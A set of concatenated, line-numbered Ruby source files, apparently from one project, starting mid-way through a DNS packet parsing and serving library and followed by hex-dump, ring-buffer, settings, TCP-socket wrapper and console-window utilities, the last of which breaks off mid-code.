157 @data = data.force_encoding("ASCII-8BIT")
158 @offset = 0
159 end
160
161 # def remaining()
162 # return @data[@offset..-1]
163 # end
164
165 # Unpack from the string, exactly like the normal `String#Unpack` method
166 # in Ruby, except that an offset into the string is maintained and updated.
167 def unpack(format, offset = nil)
168 # If there's an offset, unpack starting there
169 if(!offset.nil?)
170 results = @data[offset..-1].unpack(format)
171 else
172 results = @data[@offset..-1].unpack(format + "a*")
173 remaining = results.pop
174 @offset = @data.length - remaining.length
175 end
176
177 if(!results.index(nil).nil?)
178 raise(DNSer::Packet::FormatException, "DNS packet was truncated (or we messed up parsing it)!")
179 end
180
181 return *results
182 end
183
184 # This temporarily changes the offset that we're reading from, runs the
185 # given block, then changes it back. This is used internally while
186 # unpacking names.
187 def _move_offset(offset)
188 old_offset = @offset
189 @offset = offset
190 yield
191 @offset = old_offset
192 end
193
194 # Unpack a name from the packet. Names are special, because they're
195 # encoded as:
196 # * A series of length-prefixed blocks, each indicating a segment
197 # * Blocks with a length the starts with two '1' bits (11xxxxx...), which
198 # contains a pointer to another name elsewhere in the packet
199 def unpack_name(depth = 0)
200 segments = []
201
202 if(depth > 16)
203 raise(DNSer::Packet::FormatException, "It looks like this packet contains recursive pointers!")
204 end
205
206 loop do
207 # If no offset is given, just eat data from the normal source
208 len = unpack("C").pop()
209
210 # Stop at the null terminator
211 if(len == 0)
212 break
213 end
214 # Handle "pointer" records by updating the offset
215 if((len & 0xc0) == 0xc0)
216 # If the first two bits are 1 (ie, 0xC0), the next
217 # 10 bits are an offset, so we have to mask out the first two bits
218 # with 0x3F (00111111)
219 offset = ((len << 8) | unpack("C").pop()) & 0x3FFF
220
221 _move_offset(offset) do
222 segments << unpack_name(depth+1).split(/\./)
223 end
224
225 break
226 end
227
228 # It's normal, just unpack what we need to!
229 segments << unpack("a#{len}")
230 end
231
232 return segments.join('.')
233 end
234
235 def verify_length(len)
236 start_length = @offset
237 yield
238 end_length = @offset
239
240 if(end_length - start_length != len)
241 raise(FormatException, "A resource record's length didn't match its actual length; something is funky")
242 end
243 end
244
245 # Take a name, as a dotted string ("google.com") and return it as length-
246 # prefixed segments ("\x06google\x03com\x00").
247 #
248 # TODO: Compress the name properly, if we can ("\xc0\x0c")
249 def DnsUnpacker.pack_name(name)
250 result = ''
251
252 name.split(/\./).each do |segment|
253 result += [segment.length(), segment].pack("Ca*")
254 end
255
256 result += "\0"
257 return result
258 end
259
260 # Shows where in the string we're currently editing. Mostly usefulu for
261 # debugging.
262 def to_s()
263 if(@offset == 0)
264 return @data.unpack("H*").pop
265 else
266 return "#{@data[0..@offset-1].unpack("H*")}|#{@data[@offset..-1].unpack("H*")}"
267 end
268 end
269 end
270
271 class A
272 attr_accessor :address
273
274 def initialize(address)
275 @address = IPAddr.new(address)
276
277 if([email protected]?())
278 raise(FormatException, "IPv4 address required!")
279 end
280 end
281
282 def A.parse(data)
283 address = data.unpack("A4").pop()
284 return A.new(IPAddr.ntop(address))
285 end
286
287 def serialize()
288 return @address.hton()
289 end
290
291 def to_s()
292 return "#{@address} [A]"
293 end
294 end
295
296 class NS
297 attr_accessor :name
298
299 def initialize(name)
300 @name = name
301 end
302
303 def NS.parse(data)
304 return NS.new(data.unpack_name())
305 end
306
307 def serialize()
308 return DNSer::Packet::DnsUnpacker.pack_name(@name)
309 end
310
311 def to_s()
312 return "#{@name} [NS]"
313 end
314 end
315
316 class CNAME
317 attr_accessor :name
318
319 def initialize(name)
320 @name = name
321 end
322
323 def CNAME.parse(data)
324 return CNAME.new(data.unpack_name())
325 end
326
327 def serialize()
328 return DNSer::Packet::DnsUnpacker.pack_name(@name)
329 end
330
331 def to_s()
332 return "#{@name} [CNAME]"
333 end
334 end
335
336 class SOA
337 attr_accessor :primary, :responsible, :serial, :refresh, :retry_interval, :expire, :ttl
338
339 def initialize(primary, responsible, serial, refresh, retry_interval, expire, ttl)
340 @primary = primary
341 @responsible = responsible
342 @serial = serial
343 @refresh = refresh
344 @retry_interval = retry_interval
345 @expire = expire
346 @ttl = ttl
347 end
348
349 def SOA.parse(data)
350 primary = data.unpack_name()
351 responsible = data.unpack_name()
352 serial, refresh, retry_interval, expire, ttl = data.unpack("NNNNN")
353
354 return SOA.new(primary, responsible, serial, refresh, retry_interval, expire, ttl)
355 end
356
357 def serialize()
358 return [
359 DNSer::Packet::DnsUnpacker.pack_name(@primary),
360 DNSer::Packet::DnsUnpacker.pack_name(@responsible),
361 @serial,
362 @refresh,
363 @retry_interval,
364 @expire,
365 @ttl
366 ].pack("a*a*NNNNN")
367 end
368
369 def to_s()
370 return "Primary name server = #{@primary}, responsible authority's mailbox: #{@responsible}, serial number: #{@serial}, refresh interval: #{@refresh}, retry interval: #{@retry_interval}, expire limit: #{@expire}, min_ttl: #{@ttl} [SOA]"
371 end
372 end
373
374 class MX
375 attr_accessor :preference, :name
376
377 def initialize(name, preference = 10)
378 if(!name.is_a?(String) || !preference.is_a?(Fixnum))
379 raise ArgumentError("Creating an MX record wrong! Please file a bug!")
380 end
381 @name = name
382 @preference = preference
383 end
384
385 def MX.parse(data)
386 preference = data.unpack("n").pop()
387 name = data.unpack_name()
388
389 return MX.new(name, preference)
390 end
391
392 def serialize()
393 name = DNSer::Packet::DnsUnpacker.pack_name(@name)
394 return [@preference, name].pack("na*")
395 end
396
397 def to_s()
398 return "#{@preference} #{@name} [MX]"
399 end
400 end
401
402 class TXT
403 attr_accessor :data
404
405 def initialize(data)
406 @data = data
407 end
408
409 def TXT.parse(data)
410 len = data.unpack("C").pop()
411 bytes = data.unpack("A#{len}").pop()
412
413 return TXT.new(bytes)
414 end
415
416 def serialize()
417 return [@data.length, data].pack("Ca*")
418 end
419
420 def to_s()
421 return "#{@data} [TXT]"
422 end
423 end
424
425 class AAAA
426 attr_accessor :address
427
428 def initialize(address)
429 @address = IPAddr.new(address)
430
431 if([email protected]?())
432 raise(FormatException, "IPv6 address required!")
433 end
434 end
435
436 def AAAA.parse(data)
437 address = data.unpack("A16").pop()
438 return AAAA.new(IPAddr.ntop(address))
439 end
440
441 def serialize()
442 return @address.hton()
443 end
444
445 def to_s()
446 return "#{@address} [A]"
447 end
448 end
449
450 class RRUnknown
451 def initialize(type, data)
452 @type = type
453 @data = data
454 end
455
456 def RRUnknown.parse(type, data, length)
457 data = data.unpack("A#{length}").pop()
458 return RRUnknown.new(type, data)
459 end
460
461 def serialize()
462 return @data
463 end
464
465 def to_s()
466 return "(Unknown record type #{@type}): #{@data.unpack("H*")}"
467 end
468 end
469
470 # This defines a DNS question. One question is sent in outgoing packets,
471 # and one question is also sent in the response - generally, the same as
472 # the question that was asked.
473 class Question
474 attr_reader :name, :type, :cls
475
476 def initialize(name, type = DNSer::Packet::TYPE_ANY, cls = DNSer::Packet::CLS_IN)
477 @name = name
478 @type = type
479 @cls = cls
480 end
481
482 def Question.parse(data)
483 name = data.unpack_name()
484 type, cls = data.unpack("nn")
485
486 return Question.new(name, type, cls)
487 end
488
489 def serialize()
490 return [DNSer::Packet::DnsUnpacker.pack_name(@name), type, cls].pack("a*nn")
491 end
492
493 def type_s()
494 return DNSer::Packet::TYPES[@type] || "<unknown>"
495 end
496
497 def cls_s()
498 return DNSer::Packet::CLSES[@cls] || "<unknown>"
499 end
500
501 def to_s()
502 return "#{name} [#{type_s()} #{cls_s()}]"
503 end
504
505 def answer(ttl, *args)
506 case @type
507 when DNSer::Packet::TYPE_A
508 record = DNSer::Packet::A.new(*args)
509 when DNSer::Packet::TYPE_NS
510 record = DNSer::Packet::NS.new(*args)
511 when DNSer::Packet::TYPE_CNAME
512 record = DNSer::Packet::CNAME.new(*args)
513 when DNSer::Packet::TYPE_MX
514 record = DNSer::Packet::MX.new(*args)
515 when DNSer::Packet::TYPE_TXT
516 record = DNSer::Packet::TXT.new(*args)
517 when DNSer::Packet::TYPE_AAAA
518 record = DNSer::Packet::AAAA.new(*args)
519 when DNSer::Packet::TYPE_ANY
520 raise(DNSer::Packet::FormatException, "We can't automatically create a response for an 'ANY' request :(")
521 else
522 raise(DNSer::Packet::FormatException, "We don't know how to answer that type of request!")
523 end
524
525 return Answer.new(@name, @type, @cls, ttl, record)
526 end
527
528 def ==(other)
529 if(!other.is_a?(Question))
530 return false
531 end
532
533 return (@name == other.name) && (@type == other.type) && (@cls == other.cls)
534 end
535 end
536
537 # A DNS answer. A DNS response packet contains zero or more Answer records
538 # (defined by the 'ancount' value in the header). An answer contains the
539 # name of the domain from the question, followed by a resource record.
540 class Answer
541 attr_reader :name, :type, :cls, :ttl, :rr
542
543 def initialize(name, type, cls, ttl, rr)
544 @name = name
545 @type = type
546 @cls = cls
547 @ttl = ttl
548 @rr = rr
549
550 if(rr.is_a?(String))
551 raise(ArgumentError, "'rr' can't be a string!")
552 end
553 end
554
555 def ==(other)
556 if(!other.is_a?(Answer))
557 return false
558 end
559
560 # Note: we don't check TTL here, and checking RR probably doesn't work (but we don't actually need it)
561 return (@name == other.name) && (@type == other.type) && (@cls == other.cls) && (@rr == other.rr)
562 end
563
564 def Answer.parse(data)
565 name = data.unpack_name()
566 type, cls, ttl, rr_length = data.unpack("nnNn")
567
568 rr = nil
569 data.verify_length(rr_length) do
570 case type
571 when TYPE_A
572 rr = A.parse(data)
573 when TYPE_NS
574 rr = NS.parse(data)
575 when TYPE_CNAME
576 rr = CNAME.parse(data)
577 when TYPE_SOA
578 rr = SOA.parse(data)
579 when TYPE_MX
580 rr = MX.parse(data)
581 when TYPE_TXT
582 rr = TXT.parse(data)
583 when TYPE_AAAA
584 rr = AAAA.parse(data)
585 else
586 puts("Warning: Unknown record type: #{type}")
587 rr = RRUnknown.parse(type, data, rr_length)
588 end
589 end
590
591 return Answer.new(name, type, cls, ttl, rr)
592 end
593
594 def serialize()
595 # Hardcoding 0xc00c is kind of ugly, but it always works
596 rr = @rr.serialize()
597 return [0xc00c, @type, @cls, @ttl, rr.length(), rr].pack("nnnNna*")
598 end
599
600 def type_s()
601 return DNSer::Packet::TYPES[@type]
602 end
603
604 def cls_s()
605 return DNSer::Packet::CLSES[@cls]
606 end
607
608 def to_s()
609 return "#{@name} [#{type_s()} #{cls_s()}]: #{@rr} [TTL = #{@ttl}]"
610 end
611 end
612
613 def initialize(trn_id, qr, opcode, flags, rcode)
614 @trn_id = trn_id
615 @qr = qr
616 @opcode = opcode
617 @flags = flags
618 @rcode = rcode
619 @questions = []
620 @answers = []
621 end
622
623 def add_question(question)
624 @questions << question
625 end
626
627 def add_answer(answer)
628 @answers << answer
629 end
630
631 def Packet.parse(data)
632 data = DnsUnpacker.new(data)
633 trn_id, full_flags, qdcount, ancount, _, _ = data.unpack("nnnnnn")
634
635 qr = (full_flags >> 15) & 0x0001
636 opcode = (full_flags >> 11) & 0x000F
637 flags = (full_flags >> 7) & 0x000F
638 rcode = (full_flags >> 0) & 0x000F
639
640 packet = Packet.new(trn_id, qr, opcode, flags, rcode)
641
642 0.upto(qdcount - 1) do
643 question = Question.parse(data)
644 packet.add_question(question)
645 end
646
647 0.upto(ancount - 1) do
648 answer = Answer.parse(data)
649 packet.add_answer(answer)
650 end
651
652 return packet
653 end
654
655 def get_error(rcode)
656 return Packet.new(@trn_id, DNSer::Packet::QR_RESPONSE, DNSer::Packet::OPCODE_QUERY, DNSer::Packet::FLAG_RD | DNSer::Packet::FLAG_RA, rcode)
657 end
658
659 def serialize()
660 result = ''
661
662 full_flags = ((@qr << 15) & 0x8000) |
663 ((@opcode << 11) & 0x7800) |
664 ((@flags << 7) & 0x0780) |
665 ((@rcode << 0) & 0x000F)
666
667 result += [
668 @trn_id, # trn_id
669 full_flags, # qr, opcode, flags, rcode
670 @questions.length(), # qdcount
671 @answers.length(), # ancount
672 0, # nscount (ignored)
673 0 # arcount (ignored)
674 ].pack("nnnnnn")
675
676 questions.each do |q|
677 result += q.serialize()
678 end
679
680 answers.each do |a|
681 result += a.serialize()
682 end
683
684 return result
685 end
686
687 def to_s(brief = false)
688 if(brief)
689 question = @questions[0] || '<unknown>'
690
691 # Print error packets more clearly
692 if(@rcode != DNSer::Packet::RCODE_SUCCESS)
693 return "Request for #{question}: error: #{DNSer::Packet::RCODES[@rcode]}"
694 end
695
696 if(@qr == DNSer::Packet::QR_QUERY)
697 return "Request for #{question}"
698 else
699 if(@answers.length == 0)
700 return "Response for #{question}: n/a"
701 else
702 return "Response for #{question}: #{@answers[0]} (and #{@answers.length - 1} others)"
703 end
704 end
705 end
706
707 results = ["DNS #{QRS[@qr] || "unknown"}: id=#{@trn_id}, opcode=#{OPCODES[@opcode]}, flags=#{Packet.FLAGS(@flags)}, rcode=#{RCODES[@rcode] || "unknown"}, qdcount=#{@questions.length}, ancount=#{@answers.length}"]
708
709 @questions.each do |q|
710 results << " Question: #{q}"
711 end
712
713 @answers.each do |a|
714 results << " Answer: #{a}"
715 end
716
717 return results.join("\n")
718 end
719
720 def ==(other)
721 if(!other.is_a?(Packet))
722 return false
723 end
724
725 return (@trn_id == other.trn_id) && (@opcode == other.opcode) && (@flags == other.flags) && (@questions == other.questions) && (@answers == other.answers)
726 end
727 end
728
729 # When a request comes in, a transaction is created and sent to the callback.
730 # The transaction can be used to respond to the request at any point in the
731 # future.
732 #
733 # Any methods with a bang ('!') in front will send the response back to the
734 # requester. Only one bang method can be called, any subsequent calls will
735 # throw an exception.
736 class Transaction
737 attr_reader :request, :response, :sent
738
739 def initialize(s, request, host, port, cache = nil)
740 @s = s
741 @request = request
742 @host = host
743 @port = port
744 @sent = false
745 @cache = cache
746
747 @response = DNSer::Packet.new(
748 @request.trn_id,
749 DNSer::Packet::QR_RESPONSE,
750 @request.opcode,
751 DNSer::Packet::FLAG_RD | DNSer::Packet::FLAG_RA,
752 DNSer::Packet::RCODE_SUCCESS
753 )
754
755 @response.add_question(@request.questions[0])
756 end
757
758 def add_answer(answer)
759 raise ArgumentError("Already sent!") if(@sent)
760
761 @response.add_answer(answer)
762 end
763
764 def error(rcode)
765 raise ArgumentError("Already sent!") if(@sent)
766
767 @response.rcode = rcode
768 end
769
770 def error!(rcode)
771 raise ArgumentError("Already sent!") if(@sent)
772
773 @response.rcode = rcode
774 reply!()
775 end
776
777 def passthrough!(pt_host, pt_port, callback = nil)
778 raise ArgumentError("Already sent!") if(@sent)
779
780 DNSer.query(@request.questions[0].name, {
781 :server => pt_host,
782 :port => pt_port,
783 :type => @request.questions[0].type,
784 :cls => @request.questions[0].cls,
785 :timeout => 3,
786 }
787 ) do |response|
788 # If there was a timeout, handle it
789 if(response.nil?)
790 response = @response
791 response.rcode = DNSer::Packet::RCODE_SERVER_FAILURE
792 end
793
794 response.trn_id = @request.trn_id
795 @s.send(response.serialize(), 0, @host, @port)
796
797 # Let the callback know if anybody registered one
798 if(callback)
799 callback.call(response)
800 end
801 end
802
803 @sent = true
804 end
805
806 def reply!()
807 raise ArgumentError("Already sent!") if(@sent)
808
809 # Cache it if we have a cache
810 if(@cache)
811 @cache[@request.trn_id, 3] = {
812 :request => @request,
813 :response => @response,
814 }
815 end
816
817 # Send the response
818 @s.send(@response.serialize(), 0, @host, @port)
819 @sent = true
820 end
821 end
822
823 # Create a new DNSer and listen on the given host/port. This will throw an
824 # exception if we aren't allowed to bind to the given port.
825 def initialize(host, port, cache=false)
826 @s = UDPSocket.new()
827 @s.bind(host, port)
828 @thread = nil
829
830 # Create a cache if the user wanted one
831 if(cache)
832 @cache = Vash.new()
833 end
834 end
835
836 # This method returns immediately, but spawns a background thread. The thread
837 # will recveive and parse DNS packets, create a transaction, and pass it to
838 # the caller's block.
839 def on_request()
840 @thread = Thread.new() do |t|
841 begin
842 loop do
843 data = @s.recvfrom(65536)
844
845 # Data is an array where the first element is the actual data, and the second is the host/port
846 request = DNSer::Packet.parse(data[0])
847
848 # Create a transaction object, which we can use to respond
849 transaction = Transaction.new(@s, request, data[1][3], data[1][1], @cache)
850
851 # If caching is enabled, deal with it
852 if(@cache)
853 # This is somewhat expensive, but we aren't using the cache for performance
854 @cache.cleanup!()
855
856 # See if the transaction is cached
857 cached = @cache[request.trn_id]
858
859 # Verify it deeper (for security reasons)
860 if(!cached.nil?)
861 puts("POTENTIAL CACHE HIT")
862 if(request == cached[:request])
863 puts("CACHE HIT")
864 transaction.reply!(cached[:response])
865 end
866 end
867 end
868
869 if(!transaction.sent)
870 begin
871 proc.call(transaction)
872 rescue StandardError => e
873 puts("Caught an error: #{e}")
874 puts(e.backtrace())
875 transaction.reply!(transaction.response_template({:rcode => DNSer::Packet::RCODE_SERVER_FAILURE}))
876 end
877 end
878 end
879 ensure
880 @s.close
881 end
882 end
883 end
884
885 # Kill the listener
886 def stop()
887 if(@thread.nil?)
888 puts("Tried to stop a listener that wasn't listening!")
889 return
890 end
891
892 @thread.kill()
893 @thread = nil
894 end
895
896 # After calling on_request(), this can be called to halt the program's
897 # execution until the thread is stopped.
898 def wait()
899 if(@thread.nil?)
900 puts("Tried to wait on a DNSer instance that wasn't listening!")
901 return
902 end
903
904 @thread.join()
905 end
906
907 # Send out a query, asynchronously. This immediately returns, then, when the
908 # query is finished, the callback block is called with a DNSer::Packet that
909 # represents the response (or nil, if there was a timeout).
910 def DNSer.query(hostname, params = {})
911 server = params[:server] || "8.8.8.8"
912 port = params[:port] || 53
913 type = params[:type] || DNSer::Packet::TYPE_A
914 cls = params[:cls] || DNSer::Packet::CLS_IN
915 timeout = params[:timeout] || 3
916
917 packet = DNSer::Packet.new(rand(65535), DNSer::Packet::QR_QUERY, DNSer::Packet::OPCODE_QUERY, DNSer::Packet::FLAG_RD, DNSer::Packet::RCODE_SUCCESS)
918 packet.add_question(DNSer::Packet::Question.new(hostname, type, cls))
919
920 s = UDPSocket.new()
921
922 return Thread.new() do
923 begin
924 s.send(packet.serialize(), 0, server, port)
925
926 timeout(timeout) do
927 response = s.recv(65536)
928 proc.call(DNSer::Packet.parse(response))
929 end
930 rescue Timeout::Error
931 proc.call(nil)
932 rescue Exception => e
933 puts("There was an exception sending a query for #{hostname} to #{server}:#{port}: #{e}")
934 ensure
935 if(s)
936 s.close()
937 end
938 end
939 end
940 end
941 end
0 ##
1 # hex.rb
2 # Created November, 2012
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 # This is a simple utility class that converts an arbitrary binary string into
8 # a user-readable string.
9 ##
10
11 class Hex
12 BYTE_NUMBER_LENGTH = 8
13 SPACES_BEFORE_HEX = 2
14 SPACES_BEFORE_ASCII = 2
15 LINE_LENGTH = 16
16
17 # Convert the arbitrary binary data, 'data', into a user-readable string.
18 def Hex.to_s(data, indent = 0)
19 length = data.length
20 out = (' ' * indent)
21
22 0.upto(length - 1) do |i|
23 if((i % LINE_LENGTH) == 0)
24 if(i != 0)
25 out = out + "\n" + (' ' * indent)
26 end
27 out = out + ("%0#{BYTE_NUMBER_LENGTH}X" % i) + " " * SPACES_BEFORE_HEX
28 end
29
30 out = out + ("%02X " % data[i].ord)
31
32 if(((i + 1) % LINE_LENGTH) == 0)
33 out = out + (" " * SPACES_BEFORE_ASCII)
34 LINE_LENGTH.step(1, -1) do |j|
35 out = out + ("%c" % ((data[i + 1 - j].ord > 0x20 && data[i + 1 - j].ord < 0x80) ? data[i + 1 - j].ord : ?.))
36 end
37 end
38
39 end
40
41 (length % LINE_LENGTH).upto(LINE_LENGTH - 1) do |i|
42 out = out + (" ") # The width of a hex character and a space
43 end
44 out = out + (' ' * SPACES_BEFORE_ASCII)
45
46 (length - (length % LINE_LENGTH)).upto(length - 1) do |i|
47 out = out + ("%c" % ((data[i].ord > 0x20 && data[i].ord < 0x80) ? data[i].ord : ?.))
48 end
49
50 return out
51 end
52 end
0 ##
1 # ring_buffer.rb
2 # By https://gist.github.com/Nimster/4078106
3 # Created Sept 18, 2015
4 #
5 # See LICENSE.md
6 ##
7
8 class RingBuffer < Array
9 attr_accessor :max_size
10
11 def initialize(max_size, enum = nil)
12 @max_size = max_size
13 enum.each { |e| self << e } if enum
14 end
15
16 def <<(el)
17 if self.size < @max_size || @max_size.nil?
18 super
19 else
20 self.shift
21 self.push(el)
22 end
23 end
24
25 alias :push :<<
26 end
27
28
0 ##
1 # settings.rb
2 # By Ron Bowes
3 # February 8, 2014
4 #
5 # See LICENSE.md
6 #
7 # This is a class for managing ephemeral settings for a project.
8 #
9 # When the program starts, any number of settings can be registered either for
10 # individually created instances of this class, or for a global instances -
11 # Settings::GLOBAL - that is automatically created (and that is used for
12 # getting/setting settings that don't exist).
13 #
14 # What makes this more useful than a hash is two things:
15 #
16 # 1. Mutators - Each setting can have a mutator (which is built-in and related
17 # to the type) that can alter it. For example, TYPE_BOOLEAN has a mutator that
18 # changes 't', 'true', 'y', 'yes', etc to true. TYPE_INTEGER converts to a
19 # proper number (or throws an error if it's not a number), and so on.
20 #
21 # 2. Validators/callbacks - When a setting is defined, it's given a block that
22 # executes whenever the value changes. That block can either prevent the change
23 # by raising a Settings::ValidationError (which the program has to catch), or
24 # can process the change in some way (by, for example, changing a global
25 # variable).
26 #
27 # Together, those features make this class fairly flexible and useful!
28 ##
29
30 class Settings
31 def initialize()
32 @settings = {}
33 end
34
35 GLOBAL = Settings.new()
36
37 class ValidationError < StandardError
38 end
39
40 TYPE_STRING = 0
41 TYPE_INTEGER = 1
42 TYPE_BOOLEAN = 2
43 TYPE_BLANK_IS_NIL = 3
44 TYPE_NO_STRIP = 4
45
46 @@mutators = {
47 TYPE_STRING => Proc.new() do |value|
48 value.strip()
49 end,
50
51 TYPE_INTEGER => Proc.new() do |value|
52 if(value.nil?)
53 raise(Settings::ValidationError, "Can't be nil!")
54 end
55 if(value.start_with?('0x'))
56 if(value[2..-1] !~ /^[\h]+$/)
57 raise(Settings::ValidationError, "Not a value hex string: #{value}")
58 end
59
60 value[2..-1].to_i(16)
61 else
62 if(value !~ /^[\d]+$/)
63 raise(Settings::ValidationError, "Not a valid number: #{value}")
64 end
65
66 value.to_i()
67 end
68 end,
69
70 TYPE_BOOLEAN => Proc.new() do |value|
71 value = value.downcase()
72
73 if(['t', 1, 'y', 'true', 'yes'].index(value))
74 # return
75 true
76 elsif(['f', 0, 'n', 'false', 'no'].index(value))
77 # return
78 false
79 else
80 raise(Settings::ValidationError, "Expected: true/false")
81 end
82
83 end,
84
85 TYPE_BLANK_IS_NIL => Proc.new() do |value|
86 value == '' ? nil : value.strip()
87 end,
88
89 TYPE_NO_STRIP => Proc.new() do |value|
90 value
91 end,
92 }
93
94 # Set the name to the new value. The name has to have previously been defined
95 # by calling the create() function.
96 #
97 # If this isn't Settings::GLOBAL and allow_recursion is set, unrecognized
98 # variables will be retrieved, if possible, from Settings::GLOBAL.
99 def set(name, new_value, allow_recursion=true)
100 name = name.to_s()
101 new_value = new_value.to_s()
102
103 if(@settings[name].nil?)
104 if(!allow_recursion)
105 raise(Settings::ValidationError, "No such setting!")
106 end
107
108 return Settings::GLOBAL.set(name, new_value, false)
109 end
110
111 old_value = @settings[name][:value]
112 new_value = @@mutators[@settings[name][:type]].call(new_value)
113
114 if(@settings[name][:watcher] && old_value != new_value)
115 @settings[name][:watcher].call(old_value, new_value)
116 end
117
118 @settings[name][:value] = new_value
119
120 return old_value
121 end
122
123 # Set a variable back to the default value.
124 def unset(name, allow_recursion=true)
125 if(@settings[name].nil?)
126 if(!allow_recursion)
127 raise(Settings::ValidationError, "No such setting!")
128 end
129
130 return Settings::GLOBAL.unset(name)
131 end
132
133 set(name, @settings[name][:default].to_s(), allow_recursion)
134 end
135
136 # Get the current value of a variable.
137 def get(name, allow_recursion=true)
138 name = name.to_s()
139
140 if(@settings[name].nil?)
141 if(allow_recursion)
142 return GLOBAL.get(name, false)
143 end
144 end
145
146 return @settings[name][:value]
147 end
148
149 # Yields for each setting. Each setting has a name, a value, a documentation
150 # string, and a default value.
151 def each_setting()
152 @settings.each_pair do |k, v|
153 yield(k, v[:value], v[:docs], v[:default])
154 end
155 end
156
157 # Create a new setting, or replace an old one. This must be done before a
158 # setting is used.
159 def create(name, type, default_value, docs)
160 name = name.to_s()
161
162 @settings[name] = @settings[name] || {}
163
164 @settings[name][:type] = type
165 @settings[name][:watcher] = proc
166 @settings[name][:docs] = docs
167 @settings[name][:default] = @@mutators[type].call(default_value.to_s())
168
169 # This sets it to the default value
170 unset(name, false)
171 end
172
173 # Replaces any variable found in the given, in the form '$var' where 'var'
174 # is a setting, with the setting value
175 #
176 # For example if "id" is set to 123, then the string "the id is $id" will
177 # become "the id is 123".
178 def do_replace(str, allow_recursion = true)
179 @settings.each_pair do |name, setting|
180 str = str.gsub(/\$#{name}/, setting[:value].to_s())
181 end
182
183 if(allow_recursion)
184 str = Settings::GLOBAL.do_replace(str, false)
185 end
186
187 return str
188 end
189 end
0 ##
1 # socketer.rb
2 # Created November 27, 2015
3 # By Ron Bowes
4 #
5 # See: LICENSE.md
6 #
7 # This is a fairly simple wrapper around TCPSocket that makes the interface
8 # a bit more ruby-esque.
9 ##
10
11 require 'socket'
12
13 class Socketer
14 attr_reader :lhost, :lport
15
16 BUFFER = 65536
17
18 class Session
19 attr_reader :host, :port
20
21 def initialize(client, callbacks = {})
22 @client = client
23 @on_connect = callbacks[:on_connect]
24 @on_data = callbacks[:on_data]
25 @on_error = callbacks[:on_error]
26 @host = client.peeraddr[2]
27 @port = client.peeraddr[1]
28
29 # Do the 'new connection' callback
30 if(@on_connect)
31 @on_connect.call(self, client.peeraddr[2], client.peeraddr[1])
32 end
33 end
34
35 def _handle_exception(e, msg)
36 if(@on_error)
37 @on_error.call(self, "Error #{msg}: #{e}", e)
38 end
39 stop!()
40 end
41
42 def ready!()
43 @thread = Thread.new() do
44 begin
45 loop do
46 data = @client.recv(BUFFER)
47
48 if(data.nil? || data.length == 0)
49 raise(IOError, "Connection closed")
50 end
51
52 if(@on_data)
53 @on_data.call(self, data)
54 end
55 end
56 rescue Exception => e
57 begin
58 _handle_exception(e, "receiving data")
59 rescue Exception => e
60 puts("Error in exception handler; please don't do that :)")
61 puts(e)
62 puts(e.backtrace)
63 end
64 end
65 end
66 end
67
68 def stop!()
69 if(@thread)
70 @thread.exit()
71 end
72
73 @client.close()
74 end
75
76 def send(data)
77 begin
78 @client.write(data)
79 rescue Exception => e
80 _handle_exception(e, "sending data")
81
82 stop!()
83 end
84 end
85 end
86
87 def initialize(socket, thread, lhost, lport)
88 @socket = socket
89 @thread = thread
90 @lhost = lhost
91 @lport = lport
92 end
93
94 def to_s()
95 return "Tunnel listening on %s:%d" % [@lhost, @lport]
96 end
97
98 def kill()
99 begin
100 @thread.exit()
101 @thread.join()
102 @socket.close()
103 rescue
104 # Ignore exceptions
105 end
106 end
107
108 def Socketer._handle_exception(e, msg, callbacks)
109 if(callbacks[:on_error])
110 callbacks[:on_error].call(self, "Error #{msg}: #{e}", e)
111 end
112 end
113
114 def Socketer.listen(host, port, callbacks = {})
115 # Create the socket right away so we'll know if it fails
116 #puts("Listening on #{host}:#{port}...")
117 s = TCPServer.new(host, port)
118
119 return Socketer.new(s, Thread.new() do
120 begin
121 loop do
122 Session.new(s.accept(), callbacks)
123 end
124 rescue StandardError => e
125 Socketer._handle_exception(e, "connecting to #{host}:#{port}", callbacks)
126 end
127 end, host, port)
128 end
129
130 def Socketer.connect(host, port, callbacks = {})
131 #puts("Connecting to #{host}:#{port}...")
132
133 return Thread.new() do
134 begin
135 s = TCPSocket.new(host, port)
136 if(s)
137 Session.new(s, callbacks)
138 else
139 if(callbacks[:on_error])
140 callbacks[:on_error].call(nil, "Couldn't connect to #{host}:#{port}!")
141 end
142 end
143 rescue Exception => e
144 Socketer._handle_exception(e, "connecting to #{host}:#{port}", callbacks)
145 end
146 end
147 end
148 end
0 ##
1 # swindow.rb
2 # By Ron Bowes
3 # September, 2015
4 #
5 # See LICENSE.md
6 #
7
8 # This implements a fairly simple multi-window buffer.
9 #
10 # When included, a thread is created that will listen to stdin and feed the
11 # input to whichever window is active.
12 #
13 # New instances of this class are created to create new windows. The window can
14 # be switched by calling the activate() or deactivate() functions.
15 #
16 # Windows are set up like a tree - when you create a window, you can specify a
17 # 'parent'. When a window is deactivated or closed, the parent is activated (if
18 # possible). Typically, you'll want one "master" window, which is the top-most
19 # window in the tree.
20 #
21 # User input is handled by a callback function. The proc that handles user
22 # input is passed to the on_input() function (which allows it to be changed),
23 # and it's called each time the user presses <enter>.
24 #
25 # The window can be printed to using fairly normal functions - puts, printf,
26 # print, etc.
27 #
28 # Windows are assigned an incremental ID value, and can be referred to as such.
29 #
30 # If you want a message to go to a window's parents (or children), a special
31 # function called with() can be used with a block:
32 #
33 # window.with({:to_parent => true}) do
34 # window.puts("hi")
35 # end
36 #
37 # The following options can be set:
38 # * :to_parent - sends to the current window and its parent
39 # * :to_ancestors - sends to the current window, its parent, its parent's parent, etc.
40 # * :to_children - Sends to the current window, and each of its children
41 # * :to_descendants - Sends to the current window, its children, its children's children, etc.
42 #
43 # Each window also maintains a history of typed comments, up to 1000 lines (by default).
44 ##
45
46 require 'readline'
47
48 require 'libs/ring_buffer'
49
50 class SWindow
51 attr_accessor :prompt, :name, :noinput
52 attr_reader :id
53
54 @@id = -1
55 @@active = nil
56 @@windows = {}
57 @@history_size = 1000
58 @@firehose = false
59
60 # This function will trap the TSTP signal (suspend, ctrl-z) and, if possible,
61 # activate the parent window.
62 def SWindow._catch_suspend()
63 orig_suspend = Signal.trap("TSTP") do
64 if(@@active)
65 @@active.deactivate()
66 end
67 end
68
69 proc.call()
70
71 Signal.trap("TSTP", orig_suspend)
72 end
73
74 @@input_thread = Thread.new() do
75 begin
76 # This lets the program load a bit before the initial prompt is printed (a slightly better user experience)
77 sleep(0.1)
78 _catch_suspend() do
79 loop do
80 begin
81 while @@active.nil? do
82 end
83
84 if(@@active.noinput)
85 str = Readline::readline()
86 else
